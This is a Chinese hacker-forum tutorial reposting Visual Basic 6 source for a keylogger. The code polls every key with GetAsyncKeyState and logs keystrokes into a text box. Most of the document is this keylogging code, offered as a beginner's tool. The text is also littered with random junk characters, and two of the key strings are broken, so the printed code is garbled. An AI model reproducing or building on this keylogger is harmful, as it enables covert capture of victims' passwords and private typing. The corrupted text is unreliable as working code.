手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 ; O0 Q# U- h, c3 y% X版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， , R( s6 \4 P8 t7 K3 Z: H对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ 这个程序将会详细的讲解如何记载键盘的每一次输入。 3 e" W k+ |9 P1 F7 R! Q下面介绍的这个程序主要是利用GetAsyncKeyState函数， ) g4 e: ?6 c* Z# R) L! j使用GetAsyncKeyState可以获得键盘的动作。 1 |$ r+ g/ z& @, jGetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， 8 j* I* k% q' d即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： 4 d; D7 W. [2 r2 k9 u& C, BPrivate Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 8 q. [8 {! B; E好了，函数就先介绍这么多，下面开始动手实战了 3 M4 K" U. ^) {3 \first,当然是创建窗口了 0 U4 ^& h9 x/ q' y6 ] ) a6 ^) _% y- {, a( G; Q. _! F p " ~ _, w9 k0 W M! B 4 Q, P- Q& r3 z& z: m L5 [在时间控件的Timer时间中定义检查按键类型，代码如下： & |9 H9 x$ R$ G$ [2 @6 RDim AddKey 8 R9 n7 E: d) E J5 G' D KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then AddKey = "[ENTER]" 6 e$ N' a$ h2 W0 ^" O0 N% \ GoTo KeyFound : Z5 x9 ]( }0 D7 \3 e3 x End If , O- o# ]) I# ?, ? KeyResult = GetAsyncKeyState(17) 'Ctrl键 # D! r% g4 f4 m9 P* h, a; C# y If KeyResult = -32767 Then AddKey = "[CTRL]" GoTo KeyFound End If % f, g' ^2 l, S KeyResult = GetAsyncKeyState(8) '退格键 If KeyResult = -32767 Then AddKey = "[BKSPACE]" & q5 p) s, h b; z GoTo KeyFound - q$ [! j. S, r M End If - K8 T8 `! K3 U/ |5 M KeyResult = GetAsyncKeyState(9) 0 j3 F; s5 T$ a# q If KeyResult = -32767 Then + w) j1 b! V! d# X, s( @. {& ` AddKey = "[TAB]" GoTo KeyFound End If : v! ?0 Z6 T0 Z KeyResult = GetAsyncKeyState(18) 5 ~3 e3 j( @1 Y If KeyResult = -32767 Then AddKey = "[ALT]" GoTo KeyFound End If 5 z5 y. G" j; z7 S" Y: }8 R& u5 I5 s KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then ) H1 z; S' G) m/ }1 C AddKey = "[PAUSE]" GoTo KeyFound & N" e) `4 [4 g( j! p U End If KeyResult = GetAsyncKeyState(20) ' k- U# u+ P6 m3 T7 i& v If KeyResult = -32767 Then 9 f, ^' m' n3 `1 t AddKey = "[CAPS]" 4 W& z& _) v, v* ?+ A: g GoTo KeyFound # [ f6 d9 ?& d# u/ u8 \: | End If ! ~! l: p L5 H0 | ; ^9 J/ Q* f; R& k$ u/ w4 C KeyResult = GetAsyncKeyState(27) 6 J: U; d3 e' r7 J/ c$ |" a" @6 U If KeyResult = -32767 Then 0 X9 N$ o$ h/ V& I$ K% J2 ^ AddKey = "[ESC]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = "[PGUP]" GoTo KeyFound 2 R$ C! B( Z4 o' s1 g' m End If 0 A" `! m1 F$ p7 F6 G KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then % D2 q. R& g* b* q% t4 i. ` AddKey = "[PGDN]" GoTo KeyFound $ J- M8 A b `2 p8 K* A End If / a4 l% y! d# h! ?+ G . g* ]) r/ W: }+ A9 L KeyResult = GetAsyncKeyState(35) ( x$ H2 s8 z' [ w" r V If KeyResult = -32767 Then $ A+ v! [9 ?' s' Y+ V8 s' X9 [. v1 L AddKey = "[END]" 1 `$ T) m4 {0 q9 `" y7 S) k* x* _ GoTo KeyFound ! s f) z( `# ^0 K End If - m$ i. L) m! w; e8 [ , h* g, W* P9 P$ [( r KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then 7 ~% I8 Y% X. `$ W AddKey = "[HOME]" GoTo KeyFound End If 1 G/ y) M% `) P, l KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then 3 a" d: i, T: K" l" U ~ AddKey = "[SYSRQ]" * G' ? Z/ u1 i, S0 s1 y6 U GoTo KeyFound End If % |% F6 U3 L: d; c1 c* C7 E) B " o1 r2 T; Y6 S. ~ KeyResult = GetAsyncKeyState(45) & J/ V0 C: I7 V& ?& ~ If KeyResult = -32767 Then ( J4 r A X, F# c7 O AddKey = "[INS]" GoTo KeyFound " a: e; c, z$ q2 O( T4 } End If 5 G* R# J# P1 T/ p KeyResult = GetAsyncKeyState(46) 5 z8 [$ z4 ` _) ^* Y; e If KeyResult = -32767 Then # K. r+ f# M. F5 u4 _" U- u% c AddKey = "[DEL]" GoTo KeyFound End If 9 I9 b( M' N3 E" f + \4 R0 |- G. N2 I3 ~$ q KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then ) c! A g6 v0 P. r! Q) | AddKey = "[NUM]" GoTo KeyFound : b L: ^: V- g0 w End If 7 i V2 v5 C, V2 W" D; q KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound End If $ N4 o' Q: v0 H; k; | KeyResult = GetAsyncKeyState(38) $ v0 o+ S# {% V3 F6 r" b" w" A$ ^ If KeyResult = -32767 Then 6 @" x9 k3 e8 z1 Z$ j AddKey = "[UP]" GoTo KeyFound 3 I! l% r1 G. H( g End If * G7 f% I$ I& D$ r' A. } KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound * W8 ~+ j! i6 l) p7 l( j End If KeyResult = GetAsyncKeyState(40) - O/ E5 y/ \8 P% Y0 p! ?' D+ d If KeyResult = -32767 Then AddKey = "[DOWN]" GoTo KeyFound 4 x% H1 a5 k; m6 ^. e. N; p End If _8 u* I% ~2 Z6 X# [7 M. I ; r/ r0 W# \! g ) [6 X. c a( t3 w! F6 NKeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then $ r& |* u. R3 B# D0 b% A; U AddKey = "[F2]" 5 |: v, i' n$ Y l1 m6 _ GoTo KeyFound End If + e- T0 Y f; M0 y- VKeyResult = GetAsyncKeyState(114) * Z3 ]2 r) P4 p8 E) B- f If KeyResult = -32767 Then AddKey = "[F3]" GoTo KeyFound $ m" u; k( u, N" w, k, _ End If 5 A, t9 U; Q4 Z% p7 NKeyResult = GetAsyncKeyState(115) / a5 ]. m( i- e5 u% [* ^! u If KeyResult = -32767 Then AddKey = "[F4]" GoTo KeyFound End If f. {* {# l4 W' f& @$ Q# h KeyResult = GetAsyncKeyState(116) 7 y3 g2 y' o3 V7 P1 N; V If KeyResult = -32767 Then AddKey = "[F5]" GoTo KeyFound : {" i2 W/ J. N- Y# ^& M, o% h6 P End If , f/ s3 h/ D. Y, f5 eKeyResult = GetAsyncKeyState(117) 1 ^6 I, V8 I( l- }+ q* i If KeyResult = -32767 Then ) ] E: _' N2 b1 K0 y( @ AddKey = "[F6]" GoTo KeyFound * A( J* F' F: ^" | End If $ @9 u: D/ n5 d1 J- D/ XKeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]" GoTo KeyFound End If & ^/ Y/ l8 C7 Q9 w+ }: D5 D KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then ) S0 q% s5 g' ~ AddKey = "[F8]" GoTo KeyFound 0 _9 `8 Q1 \" \$ j End If KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = "[F9]" GoTo KeyFound ) x; P9 g6 V) e End If 6 a! I. H! }7 M, U0 `0 Y, F KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then + w$ i9 }0 V4 S AddKey = "[F10]" GoTo KeyFound End If 9 k4 ?) [, j( _$ [& X" S & D6 P$ ?2 M- c# Y8 G) @KeyResult = GetAsyncKeyState(122) , Y3 o: c- b3 J. d& F$ ] If KeyResult = -32767 Then 6 v+ t3 u- y1 U AddKey = "[F11]" : D* N. O) u a/ ?% b GoTo KeyFound . J( W" n8 T3 n k End If 9 j' s C6 y+ G. x6 j5 G * e# j8 g9 ?2 K! e/ iKeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then 4 |& H9 Q8 l7 N AddKey = "[F12]" GoTo KeyFound ; \5 r: S3 @2 V End If * U8 o7 j7 V! k @2 {1 C KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then * P* T8 Z$ v3 L9 g7 U9 D AddKey = "[F13]" GoTo KeyFound * i Z! ~( {/ T6 c7 T7 W5 K End If 7 U/ |! h" V! u0 V* U8 x( a: Q3 S KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then 4 B: d5 O0 m' B" l0 @+ k AddKey = "[F14]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then AddKey = "[F15]" GoTo KeyFound $ k) J7 W Z# Z" t w; W4 t End If KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = "[F16]" 0 {6 {0 b$ {) A' c) M6 u GoTo KeyFound / i3 b0 l2 z V: N( F5 H End If KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = " " . ]) H$ V4 W8 q% c GoTo KeyFound 9 m7 i7 a9 v" _5 H9 F End If - f7 a5 y7 i* X KeyResult = GetAsyncKeyState(186) ; z2 G9 Z! k9 H% c# r% F If KeyResult = -32767 Then AddKey = ";" GoTo KeyFound End If KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then AddKey = "=" / j" s5 d6 S. G s3 d8 ] GoTo KeyFound End If ) K: r$ X/ d' I8 J4 i+ x; K - t h* C% d$ F) P* g7 dKeyResult = GetAsyncKeyState(188) R2 Z5 k+ O0 h' K If KeyResult = -32767 Then AddKey = "," GoTo KeyFound 2 a2 J& \! A5 ~ [! j5 { c; G End If / H: e7 ^* k3 L0 l w% ~* y KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then 4 L9 t. g9 x7 T7 ~8 V AddKey = "-" GoTo KeyFound End If * F, @' R( t# dKeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then " k/ q' e+ i q AddKey = "." 1 R8 S m! g5 ^& L' O& A5 k' p GoTo KeyFound # B8 F7 k+ T; x- R4 a End If / j% m7 x ?5 D4 MKeyResult = GetAsyncKeyState(191) . ]6 m; ]+ D9 H# J* B$ t" | If KeyResult = -32767 Then AddKey = "/" '/ % h0 U9 K1 j6 q' o GoTo KeyFound ]6 X2 x$ c3 B6 L" U. V End If KeyResult = GetAsyncKeyState(192) ( X* n6 n0 \( o) o If KeyResult = -32767 Then 9 L" @2 H$ V9 k% Q AddKey = "`" '` GoTo KeyFound End If % d' s: l& M% H1 \0 W % s! h2 Q2 Q0 r8 c. ]" k 0 F9 S7 t2 M# h8 W* s'----------NUM PAD KeyResult = GetAsyncKeyState(96) 4 M4 ^' O+ O8 c' D2 C3 R+ ^ If KeyResult = -32767 Then AddKey = "0" GoTo KeyFound End If 2 @. J: P0 M W. {$ x KeyResult = GetAsyncKeyState(97) 1 z4 E- p! ]7 ~; x' d# R% X If KeyResult = -32767 Then 3 ]- G# ~: z+ `3 ~' b AddKey = "1" 4 l9 V9 u0 y* g% k* p! K GoTo KeyFound o% g2 J. r4 f- e5 p End If 6 T" l# Q/ I: f! O0 ^ % s+ p5 L8 w: q S; D* N hKeyResult = GetAsyncKeyState(98) . y$ y+ d' x* M6 b9 ` If KeyResult = -32767 Then 7 S# B, q2 {/ n: U AddKey = "2" / t1 P% ]( e, n0 J# S$ k* S GoTo KeyFound End If * \2 p( k2 Q% }/ W1 f$ ~% i0 a . T0 {: ?8 S/ C! a' F3 |- i4 f- TKeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then AddKey = "3" 5 E- ?* b. a# Z2 x" a/ t6 M GoTo KeyFound End If $ w( }; Q" ]6 N8 w! C+ M' H5 Y - _; M$ Z5 U% a# [# Y4 S KeyResult = GetAsyncKeyState(100) , ~0 f/ b+ f. o$ L If KeyResult = -32767 Then AddKey = "4" GoTo KeyFound End If * M6 ~( r' ]/ z1 C. ~ T* R KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5" GoTo KeyFound - B, b2 |, Z6 y( H$ c2 _$ w End If ! `% N Y% {, Z" j ; S$ i" B# ^4 K6 wKeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6" GoTo KeyFound 6 a( C5 g \! k9 b; j End If 7 [- h$ L- z- @2 j9 Z, u- A2 U1 o c KeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then AddKey = "7" GoTo KeyFound 3 z+ q! A% s* f End If 6 T# X3 e ^0 ^0 \! F/ T% l 0 Y) v$ U; V4 C0 I KeyResult = GetAsyncKeyState(104) ; s/ V/ p I0 t If KeyResult = -32767 Then AddKey = "8" GoTo KeyFound : y5 u* W( _/ _. E End If KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" GoTo KeyFound End If ) S8 {- G+ O6 e& w. U- `/ d $ V! S+ @7 d% p9 Z1 Y KeyResult = GetAsyncKeyState(106) If KeyResult = -32767 Then AddKey = "*" 0 `( P( L1 D9 |0 c% B# }2 g GoTo KeyFound End If KeyResult = GetAsyncKeyState(107) ; @- d/ B3 J/ i+ q4 e7 |" s If KeyResult = -32767 Then AddKey = "+" GoTo KeyFound End If 6 B4 I7 O$ @% u: m KeyResult = GetAsyncKeyState(108) - ^1 w# v0 a4 c! q+ Q$ l& ], \7 H3 H% P If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If 4 A$ N% Z: q7 }- }+ \- L KeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-" 5 B8 h5 V8 M" T0 z& z. `- D1 A GoTo KeyFound ! v+ O2 A, a8 A: q8 ~ End If KeyResult = GetAsyncKeyState(110) 5 k3 w3 g$ F& l% H6 \ If KeyResult = -32767 Then AddKey = "." GoTo KeyFound 6 U# D* g I l e End If KeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound End If KeyResult = GetAsyncKeyState(220) & n3 q0 E! }+ F' \3 v# J If KeyResult = -32767 Then ) L I& X2 e' ~6 g1 b7 M+ q AddKey = "\" GoTo KeyFound End If : ^* O) i8 s2 t- W , y X* ^ N7 A7 A& A1 i- SKeyResult = GetAsyncKeyState(222) : q( n, x6 L c2 P3 W If KeyResult = -32767 Then AddKey = "'" GoTo KeyFound ; L/ |/ I) S2 M } End If KeyResult = GetAsyncKeyState(221) 0 s9 b: i, [! }' [5 x" F If KeyResult = -32767 Then " Z" F% y7 `8 B$ I! E% R- i9 E AddKey = "]" " q- a" {3 l8 j( H% ?* d0 F: C GoTo KeyFound End If : {) E8 C' d0 F0 u' O4 VKeyResult = GetAsyncKeyState(219) ( V0 ~1 z, T& k+ D, @# V0 A If KeyResult = -32767 Then ! h2 Q+ T' K8 I; r+ z AddKey = "[" GoTo KeyFound ! l* L' a: K# M! @8 n) B+ ] End If B( B+ P8 A2 ?2 c7 ?% UKeyResult = GetAsyncKeyState(16) 'shift键 ) @( `5 z) q8 h3 b: W, e If KeyResult = -32767 And TimeOut = 0 Then u; t" r# p& y) \( n1 w- E; o3 J AddKey = "[SHIFT]" 5 ? Z5 X$ ~' ^& { LastKey = AddKey TimeOut = 1 0 b. L: ` F' C( C. P. ]- b GoTo KeyFound $ Y1 m1 \5 X4 L F6 g+ X' i End If 0 t" T$ I9 N4 {- g KeyLoop = 41 Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) # x& W' y1 U6 E% k If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 + P/ ^/ a+ j: p0 |$ J& O Loop LastKey = AddKey 6 s" t/ Y' x& s P Exit Sub , U c0 j0 A4 o! `KeyFound: '显示键的信息 5 n- C9 M; ~9 p( K9 ? * Q, L' j5 y! q) \3 M- N8 BText1 = Text1 & AddKey End Sub $ f4 [7 h H Y8 \上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 8 E( h0 `/ n) p- l8 r1 E由于数目太多，一一列举不方便 f, a( @/ b f, s% G1 V现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 % r" P! Y; L$ i, R& Y$ y HPrivate Sub Timer2_Timer() $ K+ m5 y; o* E6 M& aTimeOut = 0 End Sub 目的是随时刷新清空 8 h3 d5 ]3 h6 b" e+ P+ S' m